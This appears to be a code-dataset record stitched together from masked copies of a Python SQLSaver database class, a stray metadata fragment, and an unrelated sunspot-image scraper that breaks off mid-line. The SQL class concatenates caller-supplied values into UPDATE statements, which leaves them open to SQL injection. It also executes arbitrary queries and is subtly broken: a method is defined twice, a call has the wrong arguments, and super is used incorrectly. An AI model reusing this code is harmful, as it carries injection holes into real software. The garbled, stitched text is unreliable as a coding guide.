cursor.execute(sqlstatement)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n except Exception as e:\n self.logging.error('Problem executing SQL: %s', str(e))\n\n def executesql(self, sqlstatement, data):\n try:\n self.logging.debug('Executing %s with data as follows %s',\n sqlstatement, data)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement, data)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n except Exception as e:\n self.logging.error('Problem executing SQL: %s', str(e))\n rowcount = 0\n return rowcount\n\n def querysql(self, sqlstatement):\n print('Statements to execute\\n', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n records = cursor.fetchall()\n cursor.close()\n return records\n\n def __init__(self, config=None):\n if config == None:\n self.config = SaverConfig()\n logging.basicConfig(level=logging.DEBUG, handlers=[logging.\n FileHandler('{0}/{1}.log'.format('/logs',\n 'saverservice-sqlsaver')), logging.StreamHandler()], format=\n '%(asctime)-15s %(levelname)-8s %(message)s')\n self.logging = logging\n self.connect()\n\n def freequery(self, sqlstring):\n records = self.querysql(sqlstring)\n return records\n\n def create(self, jsonobject):\n try:\n self.logging.info('Starting create operations')\n if isinstance(jsonobject, str):\n self.logging.debug(\n 'data obj received is not json, manually converting')\n jsonobject = json.loads(jsonobject)\n dictkeys = jsonobject.keys()\n totalrowcount = 0\n for tablename in dictkeys:\n rowstoadd = jsonobject[tablename]\n self.logging.debug('Table: %s Rows: %s', tablename, rowstoadd)\n sqlstatementcolnames = ''\n sqlstatementcolvalues = ''\n for row in rowstoadd:\n print('Row:{}'.format(row))\n dictcolsinrow = row.keys()\n print('ColumnNames: {}'.format(dictcolsinrow))\n colCount = 0\n datalist = []\n for col in dictcolsinrow:\n self.logging.debug('Col:%s,Val:%s', col, row[col])\n if colCount == 0:\n sqlstatementcolnames = col\n sqlstatementcolvalues = '%s'\n datalist.append(str(row[col]))\n else:\n sqlstatementcolnames = (sqlstatementcolnames +\n ',' + col)\n sqlstatementcolvalues = (sqlstatementcolvalues +\n ',%s')\n datalist.append(str(row[col]))\n colCount = colCount + 1\n sqlstatement = ('INSERT INTO ' + tablename + '(' +\n sqlstatementcolnames + ') VALUES (' +\n sqlstatementcolvalues + ')')\n rowcount = self.executesql(sqlstatement, datalist)\n totalrowcount = totalrowcount + rowcount\n except Exception as e:\n totalrowcount = 0\n return totalrowcount\n\n def update(self, jsonobject):\n dictkeys = jsonobject.keys()\n print('Dict keys:', dictkeys)\n sqlstatements = []\n for tablename in dictkeys:\n rowstoupdate = jsonobject[tablename]\n print('Table: {}\\nRows:{}'.format(tablename, rowstoupdate))\n for rowtoupdate in rowstoupdate:\n rowdata = rowtoupdate['row']['data']\n rowcondition = rowtoupdate['row']['condition']\n print('ROW:\\n\\tRowData:{}\\n\\tRowCondition:{}'.format(\n rowdata, rowcondition))\n sqlstatementdata = ''\n colCount = 0\n for colname in rowdata.keys():\n if colCount == 0:\n sqlstatementdata = colname + '=' + \"'\" + str(rowdata\n [colname]) + \"'\"\n else:\n sqlstatementdata = (sqlstatementdata + ',' +\n colname + '=' + \"'\" + str(rowdata[colname]) + \"'\")\n colCount = colCount + 1\n sqlstatementcondition = ''\n colCount = 0\n for colname in rowcondition.keys():\n if colCount == 0:\n sqlstatementcondition = colname + '=' + \"'\" + str(\n rowcondition[colname]) + \"'\"\n else:\n sqlstatementcondition = (sqlstatementcondition +\n ' AND ' + colname + '=' + \"'\" + str(\n rowcondition[colname]) + \"'\")\n colCount = colCount + 1\n sqlstatement = ('UPDATE ' + tablename + ' SET ' +\n sqlstatementdata + ' WHERE ' + sqlstatementcondition)\n sqlstatements.append(sqlstatement)\n self.executesql(sqlstatements)\n\n def setreportstatus(self, filename, status):\n sqlstring = \"UPDATE reports SET currentloc='\" + status.upper(\n ) + \"' WHERE filename='\" + filename.lower() + \"'\"\n self.executesqlupdate(sqlstring)\n\n def get(self):\n super.get()\n\n def delete(self):\n super.delete()\n\n\n<code token>\n", "<import token>\n\n\nclass SQLSaver(SaverInterface):\n <function token>\n\n def executesql(self, sqlstatement):\n self.logging.debug('Executing %s', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n return rowcount\n\n def executesqlupdate(self, sqlstatement):\n try:\n self.logging.debug('Executing %s ', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n except Exception as e:\n self.logging.error('Problem executing SQL: %s', str(e))\n\n def executesql(self, sqlstatement, data):\n try:\n self.logging.debug('Executing %s with data as follows %s',\n sqlstatement, data)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement, data)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n except Exception as e:\n self.logging.error('Problem executing SQL: %s', str(e))\n rowcount = 0\n return rowcount\n\n def querysql(self, sqlstatement):\n print('Statements to execute\\n', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n records = cursor.fetchall()\n cursor.close()\n return records\n\n def __init__(self, config=None):\n if config == None:\n self.config = SaverConfig()\n logging.basicConfig(level=logging.DEBUG, handlers=[logging.\n FileHandler('{0}/{1}.log'.format('/logs',\n 'saverservice-sqlsaver')), logging.StreamHandler()], format=\n '%(asctime)-15s %(levelname)-8s %(message)s')\n self.logging = logging\n self.connect()\n\n def freequery(self, sqlstring):\n records = self.querysql(sqlstring)\n return records\n\n def create(self, jsonobject):\n try:\n self.logging.info('Starting create operations')\n if isinstance(jsonobject, str):\n self.logging.debug(\n 'data obj received is not json, manually converting')\n jsonobject = json.loads(jsonobject)\n dictkeys = jsonobject.keys()\n totalrowcount = 0\n for tablename in dictkeys:\n rowstoadd = jsonobject[tablename]\n self.logging.debug('Table: %s Rows: %s', tablename, rowstoadd)\n sqlstatementcolnames = ''\n sqlstatementcolvalues = ''\n for row in rowstoadd:\n print('Row:{}'.format(row))\n dictcolsinrow = row.keys()\n print('ColumnNames: {}'.format(dictcolsinrow))\n colCount = 0\n datalist = []\n for col in dictcolsinrow:\n self.logging.debug('Col:%s,Val:%s', col, row[col])\n if colCount == 0:\n sqlstatementcolnames = col\n sqlstatementcolvalues = '%s'\n datalist.append(str(row[col]))\n else:\n sqlstatementcolnames = (sqlstatementcolnames +\n ',' + col)\n sqlstatementcolvalues = (sqlstatementcolvalues +\n ',%s')\n datalist.append(str(row[col]))\n colCount = colCount + 1\n sqlstatement = ('INSERT INTO ' + tablename + '(' +\n sqlstatementcolnames + ') VALUES (' +\n sqlstatementcolvalues + ')')\n rowcount = self.executesql(sqlstatement, datalist)\n totalrowcount = totalrowcount + rowcount\n except Exception as e:\n totalrowcount = 0\n return totalrowcount\n\n def update(self, jsonobject):\n dictkeys = jsonobject.keys()\n print('Dict keys:', dictkeys)\n sqlstatements = []\n for tablename in dictkeys:\n rowstoupdate = jsonobject[tablename]\n print('Table: {}\\nRows:{}'.format(tablename, rowstoupdate))\n for rowtoupdate in rowstoupdate:\n rowdata = rowtoupdate['row']['data']\n rowcondition = rowtoupdate['row']['condition']\n print('ROW:\\n\\tRowData:{}\\n\\tRowCondition:{}'.format(\n rowdata, rowcondition))\n sqlstatementdata = ''\n colCount = 0\n for colname in rowdata.keys():\n if colCount == 0:\n sqlstatementdata = colname + '=' + \"'\" + str(rowdata\n [colname]) + \"'\"\n else:\n sqlstatementdata = (sqlstatementdata + ',' +\n colname + '=' + \"'\" + str(rowdata[colname]) + \"'\")\n colCount = colCount + 1\n sqlstatementcondition = ''\n colCount = 0\n for colname in rowcondition.keys():\n if colCount == 0:\n sqlstatementcondition = colname + '=' + \"'\" + str(\n rowcondition[colname]) + \"'\"\n else:\n sqlstatementcondition = (sqlstatementcondition +\n ' AND ' + colname + '=' + \"'\" + str(\n rowcondition[colname]) + \"'\")\n colCount = colCount + 1\n sqlstatement = ('UPDATE ' + tablename + ' SET ' +\n sqlstatementdata + ' WHERE ' + sqlstatementcondition)\n sqlstatements.append(sqlstatement)\n self.executesql(sqlstatements)\n\n def setreportstatus(self, filename, status):\n sqlstring = \"UPDATE reports SET currentloc='\" + status.upper(\n ) + \"' WHERE filename='\" + filename.lower() + \"'\"\n self.executesqlupdate(sqlstring)\n\n def get(self):\n super.get()\n\n def delete(self):\n super.delete()\n\n\n<code token>\n", "<import token>\n\n\nclass SQLSaver(SaverInterface):\n <function token>\n\n def executesql(self, sqlstatement):\n self.logging.debug('Executing %s', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n return rowcount\n\n def executesqlupdate(self, sqlstatement):\n try:\n self.logging.debug('Executing %s ', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n except Exception as e:\n self.logging.error('Problem executing SQL: %s', str(e))\n\n def executesql(self, sqlstatement, data):\n try:\n self.logging.debug('Executing %s with data as follows %s',\n sqlstatement, data)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement, data)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n except Exception as e:\n self.logging.error('Problem executing SQL: %s', str(e))\n rowcount = 0\n return rowcount\n\n def querysql(self, sqlstatement):\n print('Statements to execute\\n', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n records = cursor.fetchall()\n cursor.close()\n return records\n\n def __init__(self, config=None):\n if config == None:\n self.config = SaverConfig()\n logging.basicConfig(level=logging.DEBUG, handlers=[logging.\n FileHandler('{0}/{1}.log'.format('/logs',\n 'saverservice-sqlsaver')), logging.StreamHandler()], format=\n '%(asctime)-15s %(levelname)-8s %(message)s')\n self.logging = logging\n self.connect()\n\n def freequery(self, sqlstring):\n records = self.querysql(sqlstring)\n return records\n\n def create(self, jsonobject):\n try:\n self.logging.info('Starting create operations')\n if isinstance(jsonobject, str):\n self.logging.debug(\n 'data obj received is not json, manually converting')\n jsonobject = json.loads(jsonobject)\n dictkeys = jsonobject.keys()\n totalrowcount = 0\n for tablename in dictkeys:\n rowstoadd = jsonobject[tablename]\n self.logging.debug('Table: %s Rows: %s', tablename, rowstoadd)\n sqlstatementcolnames = ''\n sqlstatementcolvalues = ''\n for row in rowstoadd:\n print('Row:{}'.format(row))\n dictcolsinrow = row.keys()\n print('ColumnNames: {}'.format(dictcolsinrow))\n colCount = 0\n datalist = []\n for col in dictcolsinrow:\n self.logging.debug('Col:%s,Val:%s', col, row[col])\n if colCount == 0:\n sqlstatementcolnames = col\n sqlstatementcolvalues = '%s'\n datalist.append(str(row[col]))\n else:\n sqlstatementcolnames = (sqlstatementcolnames +\n ',' + col)\n sqlstatementcolvalues = (sqlstatementcolvalues +\n ',%s')\n datalist.append(str(row[col]))\n colCount = colCount + 1\n sqlstatement = ('INSERT INTO ' + tablename + '(' +\n sqlstatementcolnames + ') VALUES (' +\n sqlstatementcolvalues + ')')\n rowcount = self.executesql(sqlstatement, datalist)\n totalrowcount = totalrowcount + rowcount\n except Exception as e:\n totalrowcount = 0\n return totalrowcount\n <function token>\n\n def setreportstatus(self, filename, status):\n sqlstring = \"UPDATE reports SET currentloc='\" + status.upper(\n ) + \"' WHERE filename='\" + filename.lower() + \"'\"\n self.executesqlupdate(sqlstring)\n\n def get(self):\n super.get()\n\n def delete(self):\n super.delete()\n\n\n<code token>\n", "<import token>\n\n\nclass SQLSaver(SaverInterface):\n <function token>\n\n def executesql(self, sqlstatement):\n self.logging.debug('Executing %s', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n return rowcount\n\n def executesqlupdate(self, sqlstatement):\n try:\n self.logging.debug('Executing %s ', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n except Exception as e:\n self.logging.error('Problem executing SQL: %s', str(e))\n\n def executesql(self, sqlstatement, data):\n try:\n self.logging.debug('Executing %s with data as follows %s',\n sqlstatement, data)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement, data)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n except Exception as e:\n self.logging.error('Problem executing SQL: %s', str(e))\n rowcount = 0\n return rowcount\n\n def querysql(self, sqlstatement):\n print('Statements to execute\\n', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n records = cursor.fetchall()\n cursor.close()\n return records\n\n def __init__(self, config=None):\n if config == None:\n self.config = SaverConfig()\n logging.basicConfig(level=logging.DEBUG, handlers=[logging.\n FileHandler('{0}/{1}.log'.format('/logs',\n 'saverservice-sqlsaver')), logging.StreamHandler()], format=\n '%(asctime)-15s %(levelname)-8s %(message)s')\n self.logging = logging\n self.connect()\n <function token>\n\n def create(self, jsonobject):\n try:\n self.logging.info('Starting create operations')\n if isinstance(jsonobject, str):\n self.logging.debug(\n 'data obj received is not json, manually converting')\n jsonobject = json.loads(jsonobject)\n dictkeys = jsonobject.keys()\n totalrowcount = 0\n for tablename in dictkeys:\n rowstoadd = jsonobject[tablename]\n self.logging.debug('Table: %s Rows: %s', tablename, rowstoadd)\n sqlstatementcolnames = ''\n sqlstatementcolvalues = ''\n for row in rowstoadd:\n print('Row:{}'.format(row))\n dictcolsinrow = row.keys()\n print('ColumnNames: {}'.format(dictcolsinrow))\n colCount = 0\n datalist = []\n for col in dictcolsinrow:\n self.logging.debug('Col:%s,Val:%s', col, row[col])\n if colCount == 0:\n sqlstatementcolnames = col\n sqlstatementcolvalues = '%s'\n datalist.append(str(row[col]))\n else:\n sqlstatementcolnames = (sqlstatementcolnames +\n ',' + col)\n sqlstatementcolvalues = (sqlstatementcolvalues +\n ',%s')\n datalist.append(str(row[col]))\n colCount = colCount + 1\n sqlstatement = ('INSERT INTO ' + tablename + '(' +\n sqlstatementcolnames + ') VALUES (' +\n sqlstatementcolvalues + ')')\n rowcount = self.executesql(sqlstatement, datalist)\n totalrowcount = totalrowcount + rowcount\n except Exception as e:\n totalrowcount = 0\n return totalrowcount\n <function token>\n\n def setreportstatus(self, filename, status):\n sqlstring = \"UPDATE reports SET currentloc='\" + status.upper(\n ) + \"' WHERE filename='\" + filename.lower() + \"'\"\n self.executesqlupdate(sqlstring)\n\n def get(self):\n super.get()\n\n def delete(self):\n super.delete()\n\n\n<code token>\n", "<import token>\n\n\nclass SQLSaver(SaverInterface):\n <function token>\n\n def executesql(self, sqlstatement):\n self.logging.debug('Executing %s', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n return rowcount\n\n def executesqlupdate(self, sqlstatement):\n try:\n self.logging.debug('Executing %s ', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n except Exception as e:\n self.logging.error('Problem executing SQL: %s', str(e))\n\n def executesql(self, sqlstatement, data):\n try:\n self.logging.debug('Executing %s with data as follows %s',\n sqlstatement, data)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement, data)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n except Exception as e:\n self.logging.error('Problem executing SQL: %s', str(e))\n rowcount = 0\n return rowcount\n\n def querysql(self, sqlstatement):\n print('Statements to execute\\n', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n records = cursor.fetchall()\n cursor.close()\n return records\n\n def __init__(self, config=None):\n if config == None:\n self.config = SaverConfig()\n logging.basicConfig(level=logging.DEBUG, handlers=[logging.\n FileHandler('{0}/{1}.log'.format('/logs',\n 'saverservice-sqlsaver')), logging.StreamHandler()], format=\n '%(asctime)-15s %(levelname)-8s %(message)s')\n self.logging = logging\n self.connect()\n <function token>\n\n def create(self, jsonobject):\n try:\n self.logging.info('Starting create operations')\n if isinstance(jsonobject, str):\n self.logging.debug(\n 'data obj received is not json, manually converting')\n jsonobject = json.loads(jsonobject)\n dictkeys = jsonobject.keys()\n totalrowcount = 0\n for tablename in dictkeys:\n rowstoadd = jsonobject[tablename]\n self.logging.debug('Table: %s Rows: %s', tablename, rowstoadd)\n sqlstatementcolnames = ''\n sqlstatementcolvalues = ''\n for row in rowstoadd:\n print('Row:{}'.format(row))\n dictcolsinrow = row.keys()\n print('ColumnNames: {}'.format(dictcolsinrow))\n colCount = 0\n datalist = []\n for col in dictcolsinrow:\n self.logging.debug('Col:%s,Val:%s', col, row[col])\n if colCount == 0:\n sqlstatementcolnames = col\n sqlstatementcolvalues = '%s'\n datalist.append(str(row[col]))\n else:\n sqlstatementcolnames = (sqlstatementcolnames +\n ',' + col)\n sqlstatementcolvalues = (sqlstatementcolvalues +\n ',%s')\n datalist.append(str(row[col]))\n colCount = colCount + 1\n sqlstatement = ('INSERT INTO ' + tablename + '(' +\n sqlstatementcolnames + ') VALUES (' +\n sqlstatementcolvalues + ')')\n rowcount = self.executesql(sqlstatement, datalist)\n totalrowcount = totalrowcount + rowcount\n except Exception as e:\n totalrowcount = 0\n return totalrowcount\n <function token>\n\n def setreportstatus(self, filename, status):\n sqlstring = \"UPDATE reports SET currentloc='\" + status.upper(\n ) + \"' WHERE filename='\" + filename.lower() + \"'\"\n self.executesqlupdate(sqlstring)\n\n def get(self):\n super.get()\n <function token>\n\n\n<code token>\n", "<import token>\n\n\nclass SQLSaver(SaverInterface):\n <function token>\n\n def executesql(self, sqlstatement):\n self.logging.debug('Executing %s', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n return rowcount\n <function token>\n\n def executesql(self, sqlstatement, data):\n try:\n self.logging.debug('Executing %s with data as follows %s',\n sqlstatement, data)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement, data)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n except Exception as e:\n self.logging.error('Problem executing SQL: %s', str(e))\n rowcount = 0\n return rowcount\n\n def querysql(self, sqlstatement):\n print('Statements to execute\\n', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n records = cursor.fetchall()\n cursor.close()\n return records\n\n def __init__(self, config=None):\n if config == None:\n self.config = SaverConfig()\n logging.basicConfig(level=logging.DEBUG, handlers=[logging.\n FileHandler('{0}/{1}.log'.format('/logs',\n 'saverservice-sqlsaver')), logging.StreamHandler()], format=\n '%(asctime)-15s %(levelname)-8s %(message)s')\n self.logging = logging\n self.connect()\n <function token>\n\n def create(self, jsonobject):\n try:\n self.logging.info('Starting create operations')\n if isinstance(jsonobject, str):\n self.logging.debug(\n 'data obj received is not json, manually converting')\n jsonobject = json.loads(jsonobject)\n dictkeys = jsonobject.keys()\n totalrowcount = 0\n for tablename in dictkeys:\n rowstoadd = jsonobject[tablename]\n self.logging.debug('Table: %s Rows: %s', tablename, rowstoadd)\n sqlstatementcolnames = ''\n sqlstatementcolvalues = ''\n for row in rowstoadd:\n print('Row:{}'.format(row))\n dictcolsinrow = row.keys()\n print('ColumnNames: {}'.format(dictcolsinrow))\n colCount = 0\n datalist = []\n for col in dictcolsinrow:\n self.logging.debug('Col:%s,Val:%s', col, row[col])\n if colCount == 0:\n sqlstatementcolnames = col\n sqlstatementcolvalues = '%s'\n datalist.append(str(row[col]))\n else:\n sqlstatementcolnames = (sqlstatementcolnames +\n ',' + col)\n sqlstatementcolvalues = (sqlstatementcolvalues +\n ',%s')\n datalist.append(str(row[col]))\n colCount = colCount + 1\n sqlstatement = ('INSERT INTO ' + tablename + '(' +\n sqlstatementcolnames + ') VALUES (' +\n sqlstatementcolvalues + ')')\n rowcount = self.executesql(sqlstatement, datalist)\n totalrowcount = totalrowcount + rowcount\n except Exception as e:\n totalrowcount = 0\n return totalrowcount\n <function token>\n\n def setreportstatus(self, filename, status):\n sqlstring = \"UPDATE reports SET currentloc='\" + status.upper(\n ) + \"' WHERE filename='\" + filename.lower() + \"'\"\n self.executesqlupdate(sqlstring)\n\n def get(self):\n super.get()\n <function token>\n\n\n<code token>\n", "<import token>\n\n\nclass SQLSaver(SaverInterface):\n <function token>\n\n def executesql(self, sqlstatement):\n self.logging.debug('Executing %s', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n return rowcount\n <function token>\n\n def executesql(self, sqlstatement, data):\n try:\n self.logging.debug('Executing %s with data as follows %s',\n sqlstatement, data)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement, data)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n except Exception as e:\n self.logging.error('Problem executing SQL: %s', str(e))\n rowcount = 0\n return rowcount\n\n def querysql(self, sqlstatement):\n print('Statements to execute\\n', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n records = cursor.fetchall()\n cursor.close()\n return records\n\n def __init__(self, config=None):\n if config == None:\n self.config = SaverConfig()\n logging.basicConfig(level=logging.DEBUG, handlers=[logging.\n FileHandler('{0}/{1}.log'.format('/logs',\n 'saverservice-sqlsaver')), logging.StreamHandler()], format=\n '%(asctime)-15s %(levelname)-8s %(message)s')\n self.logging = logging\n self.connect()\n <function token>\n <function token>\n <function token>\n\n def setreportstatus(self, filename, status):\n sqlstring = \"UPDATE reports SET currentloc='\" + status.upper(\n ) + \"' WHERE filename='\" + filename.lower() + \"'\"\n self.executesqlupdate(sqlstring)\n\n def get(self):\n super.get()\n <function token>\n\n\n<code token>\n", "<import token>\n\n\nclass SQLSaver(SaverInterface):\n <function token>\n\n def executesql(self, sqlstatement):\n self.logging.debug('Executing %s', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n return rowcount\n <function token>\n <function token>\n\n def querysql(self, sqlstatement):\n print('Statements to execute\\n', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n records = cursor.fetchall()\n cursor.close()\n return records\n\n def __init__(self, config=None):\n if config == None:\n self.config = SaverConfig()\n logging.basicConfig(level=logging.DEBUG, handlers=[logging.\n FileHandler('{0}/{1}.log'.format('/logs',\n 'saverservice-sqlsaver')), logging.StreamHandler()], format=\n '%(asctime)-15s %(levelname)-8s %(message)s')\n self.logging = logging\n self.connect()\n <function token>\n <function token>\n <function token>\n\n def setreportstatus(self, filename, status):\n sqlstring = \"UPDATE reports SET currentloc='\" + status.upper(\n ) + \"' WHERE filename='\" + filename.lower() + \"'\"\n self.executesqlupdate(sqlstring)\n\n def get(self):\n super.get()\n <function token>\n\n\n<code token>\n", "<import token>\n\n\nclass SQLSaver(SaverInterface):\n <function token>\n\n def executesql(self, sqlstatement):\n self.logging.debug('Executing %s', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n self.db.commit()\n rowcount = cursor.rowcount\n cursor.close()\n return rowcount\n <function token>\n <function token>\n\n def querysql(self, sqlstatement):\n print('Statements to execute\\n', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n records = cursor.fetchall()\n cursor.close()\n return records\n <function token>\n <function token>\n <function token>\n <function token>\n\n def setreportstatus(self, filename, status):\n sqlstring = \"UPDATE reports SET currentloc='\" + status.upper(\n ) + \"' WHERE filename='\" + filename.lower() + \"'\"\n self.executesqlupdate(sqlstring)\n\n def get(self):\n super.get()\n <function token>\n\n\n<code token>\n", "<import token>\n\n\nclass SQLSaver(SaverInterface):\n <function token>\n <function token>\n <function token>\n <function token>\n\n def querysql(self, sqlstatement):\n print('Statements to execute\\n', sqlstatement)\n cursor = self.db.cursor()\n cursor.execute(sqlstatement)\n records = cursor.fetchall()\n cursor.close()\n return records\n <function token>\n <function token>\n <function token>\n <function token>\n\n def setreportstatus(self, filename, status):\n sqlstring = \"UPDATE reports SET currentloc='\" + status.upper(\n ) + \"' WHERE filename='\" + filename.lower() + \"'\"\n self.executesqlupdate(sqlstring)\n\n def get(self):\n super.get()\n <function token>\n\n\n<code token>\n", "<import token>\n\n\nclass SQLSaver(SaverInterface):\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def setreportstatus(self, filename, status):\n sqlstring = \"UPDATE reports SET currentloc='\" + status.upper(\n ) + \"' WHERE filename='\" + filename.lower() + \"'\"\n self.executesqlupdate(sqlstring)\n\n def get(self):\n super.get()\n <function token>\n\n\n<code token>\n", "<import token>\n\n\nclass SQLSaver(SaverInterface):\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def get(self):\n super.get()\n <function token>\n\n\n<code token>\n", "<import token>\n\n\nclass SQLSaver(SaverInterface):\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<code token>\n", "<import token>\n<class token>\n<code token>\n" ]
false
422
c55991e738c89ee09dabd79d514e710e0fcbac85
from splinter import Browser from time import sleep from datetime import datetime, timedelta import os, sys import urllib import cv2 import numpy as np from PIL import Image import imutils import csv class Scraper(): start_date = datetime(2018, 1, 8) url = 'http://spaceweather.com/' def scrape(self): self.browser = Browser('firefox') self.browser.driver.set_page_load_timeout(60) self.browser.visit(self.url) for day in self.get_days(): self.scrape_day(day) def scrape_day(self, day): self.browser.select('month', day.strftime('%m')) self.browser.select('day', day.strftime('%d')) self.browser.select('year', day.strftime('%Y')) button = self.browser.find_by_name('view') button.click() text = self.browser.find_by_css('.solarWindText')[4].text number = int(text.split(' ')[2].strip()) link = self.browser.find_link_by_partial_href('images{}/'.format(day.strftime('%Y')))['href'] folder_name = "data/{}{}{}".format(day.strftime('%Y'), day.strftime('%m'), day.strftime('%d')) image_name = "{}/image.gif".format(folder_name) txt_name = "{}/data.txt".format(folder_name) os.mkdir(folder_name) urllib.urlretrieve(link, image_name) img = Image.open(image_name) img.save("{}/image.png".format(folder_name), 'png', optimize=True, quality=70) txt_file = open(txt_name, 'w') txt_file.write(str(number)) txt_file.close() print("Downloaded data for {}, sunspots: {}".format(day.strftime('%m/%d/%Y'), number)) def get_days(self): days = [] for i in range(0, 8): base = self.start_date + timedelta(days=7 * i) first = base second = base + timedelta(days=2) third = base + timedelta(days=4) days.append(first) days.append(second) days.append(third) return days class Entry(): folder = None date = None sunspots = -1 image_path = None counted_sunspots = 0 sections = [0, 0, 0, 0] def nothing(self, *arg): pass def __init__(self, folder, date, sunspots, image_path): self.folder = folder self.date = date self.sunspots = sunspots self.image_path = image_path def process(self): frame = cv2.imread(self.image_path) height, width, channels = frame.shape frameBGR = cv2.GaussianBlur(frame, (1, 1), 0) hsv = cv2.cvtColor(frameBGR, cv2.COLOR_BGR2HSV) colorLow = np.array([0,90,80]) colorHigh = np.array([10,255,255]) mask = cv2.inRange(hsv, colorLow, colorHigh) result = cv2.bitwise_and(frame, frame, mask=mask) image_edged = cv2.Canny(mask, 50, 100) image_edged = cv2.dilate(image_edged, None, iterations=1) image_edged = cv2.erode(image_edged, None, iterations=1) cnts = cv2.findContours(image_edged.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) cnts = cnts[0] if imutils.is_cv2() else cnts[1] image_contours = cv2.bitwise_not(result) self.counted_sunspots = 0 self.sections = [0, 0, 0, 0] section_1_start, section_1_end = 0, height/4 section_2_start, section_2_end = height/4, height/4 * 2 section_3_start, section_3_end = height/4 * 2, height/4 * 3 section_4_start, section_4_end = height/4 * 3, height/4 * 4 cv2.line(image_contours, (0, section_1_end), (width, section_1_end), (0, 0, 0), 5) cv2.line(image_contours, (0, section_2_end), (width, section_2_end), (0, 0, 0), 10) cv2.line(image_contours, (0, section_3_end), (width, section_3_end), (0, 0, 0), 5) cv2.circle(image_contours, (width/2, height/2), width/2, (0, 0, 0), 5) font = cv2.FONT_HERSHEY_SIMPLEX cv2.putText(image_contours, self.date.strftime('%a %b %d'), (20, 50), font, 2, (0, 0, 0), 2, cv2.LINE_AA) cv2.putText(image_contours, self.date.strftime('SSN: {}'.format(self.sunspots)), (20, 100), font, 1.5, (0, 0, 0), 2, cv2.LINE_AA) for c in cnts: if cv2.contourArea(c) < 5: continue (x,y),radius = cv2.minEnclosingCircle(c) x = int(x) y = int(y) radius = int(radius) cv2.circle(image_contours, (x, y), radius, (100, 100, 255), -1) self.counted_sunspots = self.counted_sunspots + 1 if y >= section_1_start and y <= section_1_end: #cv2.putText(image_contours, '1', (x, y - 10), font, 0.8, (100, 100, 255), 2, cv2.LINE_AA) self.sections[0] = self.sections[0] + 1 elif y >= section_2_start and y <= section_2_end: #cv2.putText(image_contours, '2', (x, y - 10), font, 0.8, (100, 100, 255), 2, cv2.LINE_AA) self.sections[1] = self.sections[1] + 1 elif y >= section_3_start and y <= section_3_end: #cv2.putText(image_contours, '3', (x, y - 10), font, 0.8, (100, 100, 255), 2, cv2.LINE_AA) self.sections[2] = self.sections[2] + 1 elif y >= section_4_start and y <= section_4_end: #cv2.putText(image_contours, '4', (x, y - 10), font, 0.8, (100, 100, 255), 2, cv2.LINE_AA) self.sections[3] = self.sections[3] + 1 print('Counted sunspots: {}'.format(self.counted_sunspots)) print(self.sections) cv2.putText(image_contours, 'Section 1: {}'.format(self.sections[0]), (20, 130), font, 1, (0, 0, 0), 2, cv2.LINE_AA) cv2.putText(image_contours, 'Section 2: {}'.format(self.sections[1]), (20, 160), font, 1, (0, 0, 0), 2, cv2.LINE_AA) cv2.putText(image_contours, 'Section 3: {}'.format(self.sections[2]), (20, 190), font, 1, (0, 0, 0), 2, cv2.LINE_AA) cv2.putText(image_contours, 'Section 4: 